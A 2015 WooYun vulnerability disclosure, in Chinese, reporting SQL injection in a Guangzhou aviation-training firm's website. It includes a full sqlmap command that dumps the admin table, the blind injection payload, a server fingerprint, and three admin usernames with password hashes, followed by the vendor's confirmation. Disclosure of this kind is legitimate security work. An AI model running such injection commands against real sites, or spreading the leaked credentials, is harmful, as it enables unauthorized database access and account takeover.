当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151211

漏洞标题：广州携航航空服务有限公司某处存在SQL注射漏洞（管理员密码泄露）

相关厂商：广州携航航空服务有限公司

漏洞作者： 路人甲

提交时间：2015-11-02 21:52

修复时间：2015-12-20 15:46

公开时间：2015-12-20 15:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-02： 细节已通知厂商并且等待厂商处理中
2015-11-05： 厂商已经确认，细节仅向厂商公开
2015-11-15： 细节向核心白帽子及相关领域专家公开
2015-11-25： 细节向普通白帽子公开
2015-12-05： 细节向实习白帽子公开
2015-12-20： 细节向公众公开

简要描述：

广州携航航空服务公司与南方民航培训中心等单位合作，联合多名民航空地服务资深培训专家，共同打造空乘与民航运输服务教育与培训品牌。广州携航与中国航协、国内多家航空公司、机场服务公司等企业建立了真诚合作关系，保持稳定畅通的就业推荐渠道，使学生有较高的升空就业率。学生可以自愿与广州携航签订《就业保障协议书》，广州携航将负责任地为每一个学生提供推荐就业服务。

详细说明：

地址：http://**.**.**.**/news_shows.asp?id=100

python sqlmap.py -u "http://**.**.**.**/news_shows.asp?id=100" -p id --technique=B --random-agent --batch --threads=10 -T admin -C id,user,password,admin --dump

漏洞证明：

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=100 AND 6145=6145
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[8 tables]
+---------+
| admin   |
| config  |
| contact |
| job     |
| links   |
| news    |
| product |
| video   |
+---------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=100 AND 6145=6145
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
Table: admin
[6 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| user     | non-numeric |
| admin    | non-numeric |
| id       | numeric     |
| password | non-numeric |
| rank     | numeric     |
| title    | non-numeric |
+----------+-------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=100 AND 6145=6145
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
Table: admin
[3 entries]
+----+------+-----------------------------------------------------------+--------+------------------+-----------+
| id | rank | title                                                     | user   | password         | admin     |
+----+------+-----------------------------------------------------------+--------+------------------+-----------+
| 43 | 1    | s\\?b0kcp\\?edb\\?dbzzN-NXR\\?a1TX?zzY\\?d00\x01zz\\\x11? | <blank> | 468e54f47a31c5b6 | xiehang   |
| 46 | 0    | s\\?b0kcp\\?edb\\?dbzzN-NXR\\?a1TX?zzY\\?d00\x01zz\\\x11? | <blank> | 0676246093ff8d83 | gzxiehang |
| 47 | 0    | s\\?b0kcp\\?edb\\?dbzzN-NXR\\?a1TX?zzY\\?d00\x01zz\\\x11? | <blank> | 4cceba81a3027c8b | yangyong  |
+----+------+-----------------------------------------------------------+--------+------------------+-----------+

修复方案：

增加过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-11-05 15:44

厂商回复：

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据：高
攻击成本：低
造成影响：高
综合评级为：高，rank：10
正在联系相关网站管理单位处置。

最新状态：

暂无